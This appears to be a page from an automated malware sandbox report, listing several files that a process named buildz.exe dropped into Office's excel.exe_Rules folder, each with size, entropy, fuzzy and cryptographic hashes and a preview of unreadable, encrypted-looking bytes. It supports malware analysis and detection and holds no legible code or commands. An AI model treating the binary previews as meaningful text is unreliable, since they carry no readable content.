a!0.s.9..o..1..e....<.{.R....Yo.....L.&<.'..V.a..U.J-_-..U....X..?c."Ot.;..R..]...N...c".B7..o.?....\|..M..#e.4....i/.-n.X>x.....[.k...6H#.9..\...aE.rh..;..j.).3...&....'h.g;<a'J...5...cFYl9....q\|..A...\|.wJ.XI.m....&...d.O.D*1V.....D..'....3Q.._!p....}.G.X&>x.r....K.GU61J..8T......D.0b..Z;.L9BQ.4...pjW..2[.%....V_.:Rg..J.S......$...<.3vIm3I.T..Bt...I....2.Z......./>.].........:.g.'.>#...u.d..B.....R.:~.c].<h.k.j+..l.H.fH.N....$...i.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.913061691644924
Encrypted:	false
SSDEEP:	48:xwvx5l++GGDr8nt+IlZU8pubmBaWk1D+lYASTaGXmVXwvfD9RaXfu+D:ux5l++dr8W8pubyaWRlYAaoXwHDavz
MD5:	504710AD93ED23F246523D23CB2C22C7
SHA1:	2AE32D84A71FBD239FA76BD0AC3E89806EB017FD
SHA-256:	939411419DED3F1546DCECBEE9DFED9A79B2F177CEE0C34C8F48C6BF511640C4
SHA-512:	F1742CDB3EB427CC5681ABC2A4F74186A118F26C13565D5CAD2A9504D6F3F83E9D121003F0ED6E0503838EFFFB2048708AE595225888828FF7E144203A463632
Malicious:	false
Reputation:	unknown
Preview:	<?xml.i&u.G>S.q..h=-...BC0.4...L..1M.;i....9......w.i..9eP.w.j.c.\|s........4<.i....4.S.{z.J...X..5...[..Bb....)'kRe._.....g $..\d.I...x...V......L.q...........0...pm^...P...o........._Q..<T..\|...\|...D.. g.1.@T8.`.......e..C.b.z#!qW...I?...6f..cJ..t......~N..z1...o]..2.L.R..'...&P.D.?....,..P....[.....EI......f.>..kq.qlurf.'.b3&U$".)....N..Hs...q......b..J.p.4..AE......k.c..s.L..@l..n.....lUej.(...o.%>..1>.o...E....Co..../...e..-...n,..]..,.....X.D..4-... y.....g.....)..~..uD.r.j..+.g....oF5S.&..4D[P..W..r.....Y..T..qW..2....n..G...2....E.......]3.bW..^.H..P3+...J.^t:._E.....g.0.d..}j..R.W.F=J.._..pw...%.G@.\|..."...J.%.....t..5K...C.R.O.#._.e.F(%...?/BX%k......t...Z...Fe.A;....w..ah........v.m..TZ.h........5'*(.....5.dS...?..&q.r6....Ps..y......:...6\|..(Q..jC6 .x.m.M...th%........&..%'LX=.f..h.-$..C,..&.........JO...j.C.....R..[.X...j...%A ...Y.+....T.(._Io..$9r.v.../O.Z..u...U.y...n. .K...8.......!M>..;i .T...%R..;./.j.Y.4.fA.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.89779047485288
Encrypted:	false
SSDEEP:	48:QZiTTC8OmFNpVRzuuamaqWnmxQpk/2tjIcCxOKRM0D:8iTm0NDRKuamaqWmqpe81KN
MD5:	14198545CA841D939052E4C7D254A312
SHA1:	BC34E388C04BCEC85B68AAB7BD8D77C5695080BF
SHA-256:	6DD5CC69B3CD4B3FC40B09100F9E19C4C6A22AE66B0C3B35440DCD257E3FE318
SHA-512:	A362670C7E715720EA798A1FB723A3A0516749ACBAF3B8702E736A20BFD96F7EDEA28DEF676A9417197681E0B52008A3F8AF4EBC7AFBDB945FA323851C208B39
Malicious:	false
Reputation:	unknown
Preview:	<?xml...Z%w...2.D...A.W..=XE....u.^..D..m.....G.Q..r....d..6.v,.5B!.Ac....)R............t%.D.H3...MMn~.,.A.....7.S/...i0}......4,m..T.m.D^...sm.....zD._....>....,.I.u,VvYC..n%1.'...9.a..-m.]........M.....gWD.<.....zR.......7......4.a..X.pE0.l.\a=$.S"v.rp..NLcY.f\|..hx....Q.t7.t.gl5...=$.kS.c.;......s..eytt...\F..+..3.S.lI....DM;.....\5..nR\|.cq35..X...d...u-..<..d..n.4k+f..P......{...$b.i$.D....kw'e.}.v74.G..'..A]@,...N1U..x.P...M.. ....U.O.bI?..GBN..K\q...q.U.....4..Y=..f~v.RL.bMD..I..+k...9.p....4...]]O.4.YR.4k..(..=K..Ac.g..kt.^.w....cmG..Id..Xo...".C.=.ZqAZYi.K..P...0.....?...1M.$....d.L..'.Ba..8..{...{......))..o.,..-.8;......d..)58.I6M+.=...o*B... ..i..#.r....=.K/.%g.l..HQ..EMo.F.9....k...../...}3/....N/$...fp..].=...+...-...!....1l.$eF.).8.....Q:.L.....x..-.g.0.0.z....{`.Q.ko...R.......`2.mi.F..~OSw.....Ya.f.y\...l.=$......\x.<..Ar.n.....H".:.Y.D...rIL..a..GM..X..s...%Oj,.2..i..F.!F#-'m.......dr@ME...t.....o...r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695773077118852
Encrypted:	false
SSDEEP:	12:Gu41ZZwQZ5SRxWih/f0bN50C/b35aoR7ZXb739JK/ezsUL24zgk3wQVV78k71+cq:541Z+wixl4N50kb3dR7ZL7Tq4zg6378d
MD5:	0687429154641BBECA27DD337FD49FC1
SHA1:	72E2FE8EA9F1A26B6A9436A2E362C322A85B9B4C
SHA-256:	06571322645ABC6F6C3106064BBA91339702FF97C8088FCB43604C0441F6E193
SHA-512:	1811BFD37DBC0A78CBA0AB6EDB6F6F552D5DEDFC58CDB53A0CFF00BAFDC81297258292950D11E0108FF515ABD3BD816D612B6A0C35F72945F3A1CB9F4CDEEBE8
Malicious:	false
Reputation:	unknown
Preview:	<?xml.T....ES....0.$.........Fqe.`..6.o.4..ef...,O....b.[.........q..K..\ .....8zN..?I..ew.C..H.._6`...OX.....Q.....].k.]:GD..g.g..1...S%...2...@.(...p3M.y....B.6^.6..IhtN.D..B."A.........G.Wn%.[.._...4&.(....^.r.@.Q...1&...K.Q....M}.,.....u...Q...R>.<sVF;J..`9m?&YC.V...4.:.Yq}4..3P0....(M..d...Z.{..>.'0.y....z;....B......'.9.......-j..........".....<.z).lk..T.....{....;.y.....".. ..cv...(1Ey..EF]Q.......d.)..1p8.]n.E..........6(.q.R...@E.'/B.y.?.jk.px....~-[^.f.&...m......u......AL.l,..7...I.7I.....$. ;.. ...9.0q..K..6~o...#JO.J.^im....e.....n....}...$b......._...J..Y...1.j...........EJ`Yp....%..!.<.J+.....m...ti...:PX..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.834737992276302
Encrypted:	false
SSDEEP:	24:RJjAhy6kbZUTISGxL3EcHpkLZ8ZS7cJnYk7v9d6fms6nBLiRjiLBLywZlXHHbD:9RbZUTpGHaZ8ZS9Ov2fZ9jWhzZ5H7D
MD5:	F9FE7A61F87B3BE2EB01EF29C953A39A
SHA1:	A64ED71F0BACAEA93855A694EE984B7B3AA0CDF1
SHA-256:	46AE0457A984106A9AE593704F3E9EC8BDE534E68530AF441F31919A88E8D6A5
SHA-512:	B4D8C99A76A0833292C757EF7654806CCB3A21E278E2736D83AEB570E89104F39BCD121FA4C63DB61568F32979E635A8AEA924169A7CBF694770704B28530441
Malicious:	false
Reputation:	unknown
Preview:	<?xmlo..Q...K.%&Zu.;.......M.x...G....(..>p}8.E2..q.O}...Z..y.......B......uP.o.,...;...a....a.-<5.v2...w...M."....6.p.T.r.W....J....`..[H5....@^..../..8..D&..4..tx..5.y.Y#..Y3.......r.........\|...S../l.3.\............\..H.m...ZZ66l.....v..F.......)\|.N..S&hr........m..p.>\- ...~..y......y..T.ON.:.o+5.aF.5.-D\|../.........xD..D.{.....m...)l....U.W..`.##.-.c.R.$....4&./.$.}..UgG..\.....b.9WR.l.....D4...E,...S=....T.....%2.......@$..$&.....-.L[~.i..&..c{.W}.h..:.C.[.$}...Y........p..4..9./.^.S....?..P\|....l.V..v0....K...'.j.o.....r.......:#.....M[B..%..R>... D\.zIM.~.......^...Wko....l}!aO.\|I..C@)..?.....~F....Y.!>.=...C}.mu.N..F.Bqy.ns4px....M...QD..`L..L....{a.........._.(....v.J..(....&.p.\|U..8Y.E.../n................A:~.7....=...*e..te..x...z.c.>.......is.8i...r.(.7....1M...eU.....`$..`.Q.6.[..6i'.#^\w..z...#......V..gz...&.+...9.zn)....J$A....W...v... .y.>.....7O9.8.@./.....wbE..%.s......5.f..8\._...A......-...JC..2.<...x....".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.7906235130670485
Encrypted:	false
SSDEEP:	24:xhaGj/uX2D/dPQ2C3Kw5Ql6pL4qiiiSOXP1zHcKwrikHVd02PyDbD:Tnj/+uiBah6SVtXPZmrKRD
MD5:	473D3B58F7FCA637FF03E68140D11A90
SHA1:	05BB7A38549672D178BD95A2BB9D384C8436E9AC
SHA-256:	587F9B677508E5F06382B706D76BEE4221457B077F7C80F98547DDE242DE7FA9
SHA-512:	3E5A088F7EAF63BF161906F5AA78377485607FD39271082D52C972D8A9B789A95B88BE0A9253D567B247006F51CB205B82BB9A941221D6DED441137CA3CF3B4B
Malicious:	false
Reputation:	unknown
Preview:	<?xml.=....=!......z...z\Z.D..'..-...........v..$..,. ..6.i.....4..P......pr......'..G\|..Y.w&.....e.N...M...K.<._..2X..Z......c..w.....e<..../E..ZK.#,E%.3.D..D....[.~..p..F....a...)........\..A..y[..+..].;*y.h..p.C..t.(A03../..+...+._...H./$..^ ...G.....,>J....Z.L.K....:...@r.._..e...\F.&P._...".Xt....HQ..............t47.....fi.....%Q.0y[.65O...&. .&.v...$...M...u.4^.>m...%..7>.......Y.o2.;..n./s{h.......;.-..K..=......y)q\|....M6......{K>.WLM.....=RM....n.mI.....,..[..ae.,.K..K{OA..&o.H%.tI.c..(.y......~.........Gj.....S..U...k.}v!.9.H......a.<M20.B".....we.T...+.T.....aUZ..TZG.B.5...=.0.} .tR.H...#..a5.S.f...\|X.pLj.g\.5z.....8u\|.$.....U...k..L.o.:..\|../.27.0B....H..X......Mw.#..L...e.S........76..../..n...Fc..?..{..b.3.l.1l'.f.....Y.....3...!.......U......n.......g.=W....~.....LE.a.Z..f....5...B....\|....Tn-.aGj.<z....0.m...%.~...^.j..W..\|AXSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.803959864016415
Encrypted:	false
SSDEEP:	24:UBd1RDa1vPEBs9CM8H7oJ5x+vKpiaWXjcjGJxdm2sbD:UB3R+1vPKs9vQux+ipiaWXSGhmD
MD5:	A09B42338A06530679B73A4952968F60
SHA1:	FA23287748D1E3232E9E1699F05C4EF5D8C7547A
SHA-256:	3786A75B479370495F77B4346320583ACE2F77CD96AB7123E61E412AC1BFE445
SHA-512:	BFFE85E91288857CDFE7BAE48562220B3AB6A30680B57148A0CFBCD24734A18084B6BB61750C16F968FADF64CB9F5B53D9F946F3A15FF03EAC9F1D9519475D9B
Malicious:	false
Reputation:	unknown
Preview:	<?xmlf.9..T..n..O~.X.+..&\.w...E.FXgq.\|).G....>JD.+........u...p.S..b.}U.....P.w...dA.,U`3.??...:.....&/.]...3.."\|..2..~.,......)......t.j.q.q.K....._.p.#.h.........."D.....+..;X..B..&.!6.`.?Q...p...~eoy.#.QKH.P....5uIkE....MH..j..{G.\|...x..A.+...o.=..+.}ZI.z ...o....I... ....Z.qFN..m#].._...hK..~.E..w.t...&.C....h\|3...=....O..q......iQx.2....o...."..iT....}.(..B..O#!iJ.....}..J9.7...c..m..D.C...t.b.."..L..'....W..6`....W.=S.......p.N.r..B.......N......'.[Al.....S..3~Hih}...SA5....1..W.V..!]d.PPg..........29..W.....6...Z..\|..&CC.2...ZMi.Y9VDK....:Y.k.%N.._.....l.....D.4X...T.a.1.I.L.7..ua7..M..h_..T.}..-..T..a...;5f[1v@.........U....9.g"...k^..`..Y.#.....9=b.......?nK....t...F..L&.......\|..p.9t......^...6`.F.\.:(.4.\|y ..).qb..;.s..8r.!.(.2P._$-T...{Z..jTNU.V.....0Y^...H..Nb..T^...=..n....R...&o.....u.....Pj.e...l..e`F.2...i..q.K[yh5..S......b...S....h+.......j..y..&b.*...=..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.797771126352119
Encrypted:	false
SSDEEP:	24:QmaAsVulLKmIOOQUqKryLmakqPnS9x9J5SPllCCwM6qNtgxbD:QhAsVuJK0O5qTLFkqP2rJ5SPePyt8D
MD5:	3FC67D1039311B08CD5ACB0CDF2BC2DB
SHA1:	E423E4272BAC706C8AE66F27A4060DA7EF617362
SHA-256:	26ADAD276281F92DB1B3F1F32C4ACD0C6A07CC6EA6905D994B462804F837A393
SHA-512:	07404810906623EC8ADFB5691811EE150F69BDB43CE2A3443E5EC970B2FF5F5A06C913F472178C1D8DE3E354C04BFD4610687294EF4ABCC5AD0FEC91D2D1254D
Malicious:	false
Reputation:	unknown
Preview:	<?xml......gC........<........?h0.....j..<wp.cm........v..Z?u.{...3J.....C......w.8...Td...J..N.'.o<...;y..3.C..s.......dt.\|%.. ..O!..s..._..EB...../?...`~m-.O#.....7....p...6.PK.zCc9....V.J..........n..k.P.l.5.s#_5.>..Q`X}S^..A....}.U:..\|R..D....R.J..'....N....A...zk).]+..D.....ww..,!.).Za..r.{...gtu.?..v......!.s.4a...j..v..@s.LZ......f........b]..J..7F2..6..@..`.E...h)b....1.-....^\....s..T.......$i.]>0...ae..)..O.{1c..~....\|p{y.#..J.....&.RO.".@...I.m.....*z.m...}%e..=<.I..X%.R.\...Z,..].{4.....].KT.%\.}........v.......n.k(.6.....T....&..{.^[..i.`..].....=e......F...5-.........Q.r.2...~.....=.............p{K.,N.!mW...O.AY.m........0.@.p......'Z].R..e>.bp2...h....8jv...i.o.p?S\|8Sur(.p^.-.........m.;j:...P.`j... ....i[2......).B.......afb!.;n..:WAc...tu.O.."k.jb...$.ev.6.d2...4m8..`.!...C....~..J.?.c.........XQ...ug..75........./H..Qz.....D.2?AL..\..=.<.X....k..H0.3W@Z,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.863227429008848
Encrypted:	false
SSDEEP:	24:6+mhMdPYUUSlQyF1VufAftaN6AIaq1uzBJOiSneKwg2TpbPBoEXu2DtyEoRHbD:6+mOdtUSznQfA1aN6kq1u1JOiSnrh29s
MD5:	1E83BA1B9EFE70309A3859773992157A
SHA1:	EAB7B607CA4F75568B1DEC9483FDCFACEE478CA0
SHA-256:	492E8C24433905E7AE511456B0C0DE51A5D1E3033DDB465A66EC42A414CE4D3B
SHA-512:	29328DE682976AFF913173A4064AA3B3BAA0AAFB7FA504138312F6BB31EC357E1F29EE705894ADD1A0C232EAC789EB23CF9712C40F7938D0838238F4E741BF3D
Malicious:	false
Reputation:	unknown
Preview:	<?xmll..B...C.bu..<.....2g.\vv. .c7..).H._.u..+...j........G......#IDG.............X\|.......k..R..a...Nr..?..c.......@.05...t.<.c.....Q....(...Uu}...`..&I....7AB.\?a.`...wP.#.o.....+.#%..+-.Y_EZ..'o...p5.F....L........,.1.`"C&t.K(...T]...2.I...Y.M.......my..@.<....\.<Cj..w..t.......{...f...R..X/C.x...W.....ir..........1....T..M.K".._-E].........o...z\|.}.%C4.W. ..^...i..zQ.a...kQ.O.\\......../.....7.x....u.....u.......z.s.Ce~...../........;.>.K.0.FUM6..C.[=>F....b..."._.}..]l.\|F:...1.Q.........O.....4F.d..u&.).s..cg...i<.6._.5..,X.u&..J<h.`.{...7Ff...EVx.P..<.....C.....D....e.#V.......v..]:....._./..f.....h...F%:... ..p.&./Y)$.F....;...Hx.l^....z...+L.X1M..p...{..^.k\g.,..uI..b3I^.,.........A..t.im..`.. ....`.,S....b.;.Md...w...n......k.+..'...{.z....+e...X..].Dh.^nb...l0.J....,...k9.....}Z.~oy.....C.F..y..*0..~L..q...w.Z7.p.H....P%.".....M.`;...l..M.........G..}w.....uo...i8..3..~.........33...Y\|..a.....W..G...J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.870112520876028
Encrypted:	false
SSDEEP:	24:AIJN9P4pG51pCQzWBHeYWPn5OFyODhnV9BYlQWNRexLgK60Jia9epjMxxSkcNIC2:AIJfPt1bw+YK5OFyODhnV9BRW2LVvJHb
MD5:	026964F61DABA83021C19FA63121D95C
SHA1:	960DF26E0FBFFA139FCE89B8D2C3D9115533226A
SHA-256:	5B5CB2FCE3D49E5E3911E79EB6D20E48C98BFDAE57DFA63141364B06F9547A9E
SHA-512:	1F40F88576F34ED5FF81933A51D37AD66BA6A26C98B823F0BDC7007AA4EBB28988AA873E895ADA2F886523324FBB08A93F492D92AF38A72DCBB3AA774AAC0FEF
Malicious:	false
Reputation:	unknown
Preview:	<?xml}.8....hh.....C..T^..xP.M...e.......V2....D.==-....".s..Y...6..u..cHc.&...k..L..]J5..%.6...x.d...9..?A.rR..n...x..g?..h.....a..&K..{..9s...P.<.:....:1.....#+..M.6Y..5]..Y....*q.....Jg'.. .....>.N.7.... A...x..c.h.........&....B.S@.t."N?..xZ. .)=.F.b..N...Y.m...I'.....K.....Z.c...".~/...X..1...buxR..1..L@.c...s...bx`.Y..........)...[...!.Q...h....6....$'L.j.$.w.8....M...z...W}.......p'H9.:..V..\hi...Ue5y$..._...wG^..^j..D..[....#......i....`..#..?3`_.).#.Av.(p}..S...^..........c$.G.TH....=;L..o..v...(.....<..t..]...J..n...1.yTG.M..?.L.....q..c.F;.......wy..k@..........X.4...,$R.r.....O...X...I......p6.....%..j#........5....i...Z.}.=.\|.....NiKT...........K.....=y.....j{...+...J....3?...}..U.._v.kl......RX.0.v_...^.6O...F.<...[.2.........vG.9Q.3!Hq.z.Q...+.t......a..b.\|.....).D...q.j..T.F......s2..r..P..n.....o..*....mo7..7....z...-...vJ...-..2.JkG+..F.9......3LJ.I89.DQ.$.Nhj=...K.r.J.Z.R..m.._.!.NX..y#.]&...h.....0....A.{...6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.724515888743786
Encrypted:	false
SSDEEP:	24:KtGOTECD5Vh/M+divyApY114OqhPFLBbD:KtGOTTV9bdivyWk4Oqht1D
MD5:	36D5A865794902EB8A8E2979A9F643FA
SHA1:	CBE9E78C41C02075E4A5885F580A11FEB1072AC9
SHA-256:	A8F9622BB95C2C103A40A51B04DC071E5EAB25A15FDA3835D3765A490DC47779
SHA-512:	F9EAAC750C4D1502ED053BB75536C292D31A1A4D04E773B67941561ABBE089BDF0E116649F20158F163185189BB5FDAB6D0425DE16D2E8FC093C0042EB486CC6
Malicious:	false
Reputation:	unknown
Preview:	<?xml..OWd.#.....r...r...c.........Ky~F....i..;....,..s.3(1MQ.D.O?fE.>r../..?JD..r..?M...?..^.....O\./...O^.._@.q.2...rT3.............C...>.....m.P.4m...D.#..,......<s...$P%xK.....)..-?N#E...^......w@U1h..n....yG$.7.ym../?-j.......y...%\|..G&..... +:/nj....L.i......V...(.;.......X...O..H.....`.........i.2mU'.(......^M8.-+..{....9..WF$.... s.(...#.W7..6H.............0.l.C..m`..0..-......Y..\|...h.....2..s.......wJ+.]...V..b.B...Ia....D.h...\Z.....3...g$.....x.\.K.P...O.yX9.......:.5.....^=..0.e2............s>....7.wIi.j......`.u......vm......v@\c@.f-n.m.-.....'.2ai$>..a...f.'......5..gk.wM.<.RU.I_N....d..m..bJ].B%.JZ#.9.\.\|.h,u..k.........v...v.U.,.~6/1c....8K..atKj....S[...?."..e.YV).2F.Tp.U....._..(.:..O.?n...q.W....2.I.*..5.DvcY....$3SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.831324432455118
Encrypted:	false
SSDEEP:	24:gO7PK95NnHIzM9pasb+QtsvtfvgPWCxj/WSB+NqPwrhIQobD:gnbNno49pv+QGvtHgPXNLSIzD
MD5:	5AD9A42A0AF9E6A458CA9395B65FD497
SHA1:	027C2699FC79C193FED6618CFB353177028978C0
SHA-256:	E9AE58E86B542375B199180A20162489C4802C124641A5CCBE632AB90F7C913B
SHA-512:	D7A472BFA9351FD99C0B30052132CC3BAAA093382EAFBC055042EED7E83F70A0DF7FD2D9B16BCCA624ED154945C64D9EE4FDEF1B4227D83A32CC188EFC749B53
Malicious:	false
Reputation:	unknown
Preview:	<?xml(.'.Y5^CT]i"..P.....3.3.(.K..).)u...........i....r....{.......?..vA...@....1.y..b.N.=.nkW.w..2..Q.#x..p../{.O.4..jL......R..o.\rX.z.6x..\|.m.6P......in...Q_...'iN..F.^[G.;-..+.w...M..X....1....vn.\..K...i.f..7.=`....;g....I.~....O..u.g.X..U.).L........$....+.y.n.j...c....h..VQ..m.~...N.X.k.A.I..........w8...hr..k.x...W.`...b..D..x....#.n..Eo#X.T....zg..k<41Q>.E^.;7......m.....k.#z(...c...p_ac(A.Q......y.nJ....d.......B.....:...%.W.......T..?........T5\|o.....w-.6U..L.@....w..$...&.,."i....m...#0(..dG?.K........X.~......z.W...+..?.f.c....5.................a...........-zLr;+Y...oI..E(.....qL?.Di..o\.....%..1Ef.....B.2.%D.2........RxL..K.K..u.B.......^+......i......F8.C.............e......9...4.O.-.y...{Fh.a..o{...s[f.N.%`6..C.H....`}s.]....>..6..W....0.S.~..h.vFE.A_...%..\|71k.J..9<.l$A..u...?..PZe&6....+........K=.>.....p.^fde.0....U..}N5..OR....t.Q..S.'LV..F g...+...!.I.I.v.?,.:.!.U.;.T..=.:...=.^!.D.....G..@.O%.RlIp...@..?.-\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8783689324171995
Encrypted:	false
SSDEEP:	48:xjm0h+49B3dcONJl9ojjFnrlU6VB27sftOqD:Vj+4HdcwJOj50SOi
MD5:	7B975E8813D30C6289FE09E154641A2E
SHA1:	B3825A386026DEA9C4CE23C11134EBE2BCC55A94
SHA-256:	26847337C7FB04BE6CE774F2DFD3096C479CC6C4733240E9C198867286B12185
SHA-512:	5878BCE2B4D01EB1BAA53A62F82DF8E5C6506FC004FBFD9E8F1FC243EACF55A40A7BB40E6777E7E6C266C4DBA995E4FF040E39BE7AFDE71A0D2AF2D0D1481771
Malicious:	false
Reputation:	unknown
Preview:	<?xmlk.{....8..'X....c.'..v8...>..R0.z.....ocf.f;... .......\|0..{\.v=...?.c^..9....._.]...n.5..6..g..[WN?0~.#.y.,...1U=M.S....#..J..SO...^jQC......A...Ty.1C.T<o.mi.4...,R..$_.0q3...a}............C..+....VB.9.6m..Z..X~l..q .d.....7..=...S....>.\.{BG.....W......9y......@..q.\|..s...,n..U\|....L..O,....g.\./!...7.p...Z..O.{D..L]I..2..}k.H../2...h....y......"p......O1.~..Z.^.&J..v,\|..yW..-,..1 i..Abs...7.s.O.4.......,a"............J..;\...e..I'W.Z.^.....S...F.A.fl+8\|..-.N\|.....M1...._.....+....[j3h.L..p.[\V.~."...7...............u1:Z..D.9.D....jH.Y.Z..........+....x..K[....&..s).@.....2..m...X-A.,i/"/..Mw.....+...T...1...2.....'....2R$.3...B..;.].>.dL..C..h.....iE..0.C?{...9.9C..HiU.Fp.`..c.....@...t.:..c..E.. .+9.~.M<....../...".cQap..{..W.....>...l;5~n..Q.-K.n.a&,..eP.yF<Q..O;cA.Ku...S..^l........%..._.;..:p}....I$..q6..l.$...S,.E...Wt..../.[..V..6...PV..7..^...m.p.Q...?~S...RB..}.q7..-.....0.-D..kp.C'....m.j.yt......7....4n.<.}.1.......u*....!.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.875376123510175
Encrypted:	false
SSDEEP:	24:GWCLCch8phQSVeISkgbulIOKFV+TKgnNj4U09+d2+2gfbmjQqKmKbZ4inVu7T3gm:kLNh8dkPKeOKuTKcfe+Y+TyQqZ8qqxmD
MD5:	E6DCC2FAC2C90E7F2C4C782144755AEC
SHA1:	0C4FB98CB682B732C4B4B5CCC127139B07ED2007
SHA-256:	474DB1E24B0EFD327414F52268FA3ED81B6FF115BB696D24BBC3450727E79905
SHA-512:	281A76149B3C23BCB880219A36E27431662DDEEB435EB86D5C96A44DA2FB054121BBEB133EFBCA83B743AD3E51462144E28ECC4E0C94CAA54B5908FB145B8EDA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.X .t......5..I9z.Vw..A?....S........}.T....)%..;.....n.3`8..".Z..v.`.l.C.a../.Hy....Y.!9?...F.j"....e.B.a....J0.X..ZH..YD.-....H71.G.n.n..bE.<.V.;..F.?...-0......giH.....F.N.\|.....n....P..._.....l.O=.#0s%.....\!g...7...3..Q-j..;.iS.`..?;..c..I;N..X....=.H...b...lTCf.lG...~.K.Vb...BE Ry......-77.Y..,.18..0).d0.ki.4-H....W. .....N...HKdy..Y8.%V.....odR[...!....I=s0.s.e....3.6..p..b..........RF..l@..A.0..>J.RkE...P]#....&..2.L...$...3...Jz!N5..1)..^..w.@..r-qMe...../......}.[....o...4}c.Y,.S....7..c.v27...%..{.2...h!..yW..m._.nH8d..m....>..0.)...o.f2.Y...t.)..k.....iEGr._......g-_#..........c3..6..rC..!...?!....u..__..n_..... J."x....9.],oQ..#Y.H...&..vt2L...[._l.>d@%M.)..Xx.m.{,..r.km.../:.@.[.......i_.... ..'........M'.~.....N!......1.Qb...,IG..}.....:{..R....t..'..a.z~>6...Z.....B..o.Z..7.a.@..\|..q....Of.OW.l..w.....<X....KVW.2g..Z.....^/"..h......"E.nL......Z......x..HY.]}B.(.&@<....`..\$..9K............3......`..z'.R.m.?#..0.......'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.880426420894825
Encrypted:	false
SSDEEP:	48:t3rQwou/XUeiL3zaXUC4vWu7TYdpuJ+SUOJzgT24VD:JfXZCEUCfuH/PA
MD5:	46E0C637A551F83A9ECE4B1DFF697471
SHA1:	265F0B4D2F0DA19E3685922B5AED7A779EF86830
SHA-256:	87C598FA9AFD353829F95D72FD49B08F31FDCDAC7AD18AC83166D6EA013CD0F4
SHA-512:	0A6770438FCC474912D2B1DC4D34550E08BA901114D9868CB68CD46AD744B1FDBD7364BB3C79F63778A24B37F102330011059410894042A2EC2590CFD3AC9A03
Malicious:	false
Reputation:	unknown
Preview:	<?xml......&.vt..).=...[\|8..3}D.gg!.I...A^......kxE.ZQ.w.b][...@. ..8..F......q9.~..i..V^Ep..?.g`.#b..Ij.`..'....YA....]8......c.cI68..2..WA...LZ..b.Qt....td.Y..../.......[./......g.....x..:......_..z'N.0jz.K...M..."...}3$4..B.h..i./.lM......p9....HQ...#..5_.f...#.Uv6^.APS..a@.Rww@.o.`.a.!.z.F..u.....9...YYe.7].5..I...&....N......j1...C..5..VYN.5..h]].f..g.}.......Z.Q....n@..hd....c....`....G..NO..2Z.+B....i.....%.T.....0.Y]f.-.u. @..5O.._.....#.j..a=..}MPMn.#U..S..2.`jp1t.6.WJ.\|...<...Pt..~..P...my}.6.rZ..Ui;[.4e.,M.\|..........s.......!(a6u..B.dd.b.....L .......;m..r...R.H.(96.;.(Ym....'..D.x.E 